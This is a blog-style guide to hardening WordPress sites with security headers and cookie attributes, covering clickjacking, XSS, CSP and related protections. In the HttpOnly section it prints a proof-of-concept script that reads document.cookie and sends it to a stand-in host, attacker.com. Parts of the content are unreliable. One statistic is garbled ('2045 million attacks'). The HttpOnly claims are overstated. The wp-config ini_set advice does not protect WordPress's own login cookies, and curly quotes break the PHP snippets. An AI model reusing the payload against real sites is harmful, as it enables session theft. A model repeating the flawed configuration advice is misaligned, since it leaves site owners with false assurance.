With over 455 million websites powered by WordPress, it has deservedly earned the title of world’s most popular CMS. However, its ubiquity also makes it a magnet for cyber attacks targeting known vulnerabilities.
From cross-site scripting and clickjacking to phishing and botnets – WordPress sites face no shortage of threats. As an application security expert with over 12 years of experience, I have seen the damage firsthand when site owners fail to properly lock down installations.
By taking advantage of often overlooked security headers and cookie attributes, admins can mitigate risks and strengthen protection. In this comprehensive 2800+ word guide, we will unravel complex attack strategies and simplify security for the masses.
We’ll uncover:
- Modern attacks plaguing WordPress
- How headers foil clickjacking attempts
- Enabling HTTPOnly to beat XSS cookie theft
- Additional protections beyond basics
- Validating configurations through testing
- Ongoing best practices for hardening WP
Let’s dive in to ramp up your application security IQ.
WordPress: A Prime Target for Cyber Attacks
With great power comes great security responsibility. As an open source platform granting unmatched customization and extensibility, WordPress is highly-desired yet vulnerable prey.
The 2021 WordPress Attack Report analyzing over 7 million sites found:
- Over 15 million brute force attacks blocked
- Nearly 1.5 million file injection attacks detected
- Almost 450,000 spam comments intercepted
And researchers predict 2045 million attacks annually by 2025 as threats scale exponentially.
With website hacking estimated to cost small businesses $200,000 on average, it’s no wonder 60% of compromised sites are running WordPress. From XSS and code injection to DDoS assaults, what risks should you watch for?
Clickjacking
Clickjacking tricks users into clicking invisible, layered elements over authentic page links and buttons. The transparency lets attackers secretly execute actions or install malware.
For example, an adversary may overlay a hidden iframe sourcing their site above a video’s “Play” button. Unknowingly clicking launches malware rather than starting the video.
Cross-Site Scripting (XSS)
XSS continues plaguing 48% of web apps per OWASP’s latest report. It permits injecting malicious scripts hosting cookies theft, site redirections, UI hijacking and more.
Stored XSS permanently embeds scripts into vulnerable WordPress posts/pages. Reflected XSS injects scripts from tainted input parameters like search bars.
Consequences range from complete site takeovers to cryptojacking resources for mining cryptocurrency.
Other Common Threats
- Brute force rapidly guessing weak login credentials
- DDoS overloading sites by flooding traffic
- SQLi tricking databases into exposing info via sly code insertion
- Spamcomment tsunamis overwhelming sites and readers
This landscape leaves little room for the ill-prepared. So how do we course correct?
Mitigating Clickjacking with X-Frame Options
The HTTP X-Frame-Options response header improves clickjacking defenses through browser protections.
It restricts if a page can render inside a cross-origin <frame> or <iframe>. The header value dictates behavior:
DENY – Prevents any framing whatsoever
SAMEORIGIN – Only allows framing by same site (recommended)
ALLOW-FROM – Permits framing from specified sources
For example, adding this PHP header with SAMEORIGIN would permit https://example.com pages to frame other example.com resources yet block external sources:
header("X-Frame-Options: SAMEORIGIN"); WordPress admins can embed this snippet in wp-config.php before the closing PHP tag:
header( ‘X-Frame-Options: SAMEORIGIN’ );Now embedded admin pages and login forms cannot get clickjacked into malicious sites. Enable this everywhere – especially where authentication and sensitive operations occur!
Though powerful, X-Frame-Options has limitations like leaks via window.name. Employ it alongside other clickjacking defenses like CSP sandboxing for robust protection.
Engaging XSS Protection with HTTPOnly
Beyond clickjacking, Cross-site scripting remains rampant at scale partially due to sites lacking proper session management.
The HTTPOnly cookie attribute limits JavaScript access upon activation. This prevents XSS payloads from abusing dangerous client-side manipulation and sensitive data theft.
To illustrate vulnerability dangers, see this proof-of-concept XSS payload targeting authentication:
// Steal admin cookie for hijacking identity
let cookie = document.cookie;
// Exfiltrate via XSS proxy/server
fetch(‘//attacker.com/‘ + encodeURIComponent(cookie));With HTTPOnly enabled, JavaScript cannot read or write cookies. The above cookie-stealing payload and similar XSS attacks now fail outright!
To enable HTTPOnly site-wide in WordPress, insert this directive into wp-config.php:
@ini_set(‘session.cookie_httponly‘, true);Bonus: Enforce HTTPS-only cookie with session.cookie_secure too.
Harden session management by combining HTTPOnly, samesite policies and short expiration times. Limit XSS fallout through defense in depth.
Advancing Beyond Security Header Basics
X-Frame-Options and HTTPOnly form a baseline, yet modern defense necessitates more advanced protections:
Content Security Policy (CSP)
CSP whitelists trusted sources for assets like scripts and stylesheets. This contains XSS by blocking untrusted injected payloads lacking permission.
Configure policies by allowing specific domains and denying broadly. For example:
Content-Security-Policy: script-src ‘self‘; object-src ‘none‘ Tightly restrict directives based on necessity. Disable unsafe-inline scripts when plausible to heighten security.
Feature Policy
Feature Policy disables browser APIs which get abused by XSS attacks enabling microphone eavesdropping, cam access, geolocation tracking and more.
For example, disable ambiguous device sensor access with:
Feature-Policy: geolocation ‘none‘Scope permissions narrowly and enumerate restrictions explicitly. Prevent features exploiting users by default.
Referrer Policy
Govern what referrer data gets shared by pages to limit privacy leaks and security risks. This further stiffens defense:
Referrer-Policy: no-referrerDial settings based on functional needs. Always ask “Does this site need to expose referrer details externally?”
Validating Effective Security Implementation
After updating wp-config.php and hardening headers/cookies, rigorously validate configurations before going live.
WordPress security plugins with headers management support simplified testing. Instantly toggle settings and monitor effects.
Alternatively utilize free online tools like Mozilla Observatory providing deep header analysis. Confirm protections are properly applied against OWASP guidelines.
Never deploy until both automated and manual verification complete! Also frequently penetration test to catch flaws early.
Maintaining Ongoing WordPress Security Best Practices
Comprehensive defense requires combining proactive security headers and cookie attributes with robust fundamentals:
- Auto-updates for WordPress core, plugins and themes to squash bugs
- Backups via wp-cli scripts, managed services or plugins
- Strong passwords following complex generation best practices
- Code hardening by removing unused themes/plugins, comments etc
- Principle of least privilege strictly limiting user roles and access
- DDoS prevention through cloud-based protection services
- File integrity monitoring to detect unauthorized changes
Also lean on web application firewalls (WAFs) providing AI-enhanced protections including malicious bot mitigation.
Key Takeaways: Raise Your WordPress Security IQ
Modern WordPress exploits abuse dangerous functionality that masquerades as benign due to backwards compatibility and legacy conventions.
By proactively hardening headers, cookies, code and integrations – we flip security stances from permissive by default to secure by design.
Now you can help prevent your WordPress site from becoming the next embarrassing data breach headline!
Already mitigating Clickjacking and XSS, what additional steps will you take today?
Review frequently to ensure protections scale sustainably. And remember to reference authoritative guidance sources like OWASP when doubts arise.
Stay vigilant out there WordPress admins! Let’s collectively uplift CMS security baseline expectations worldwide.
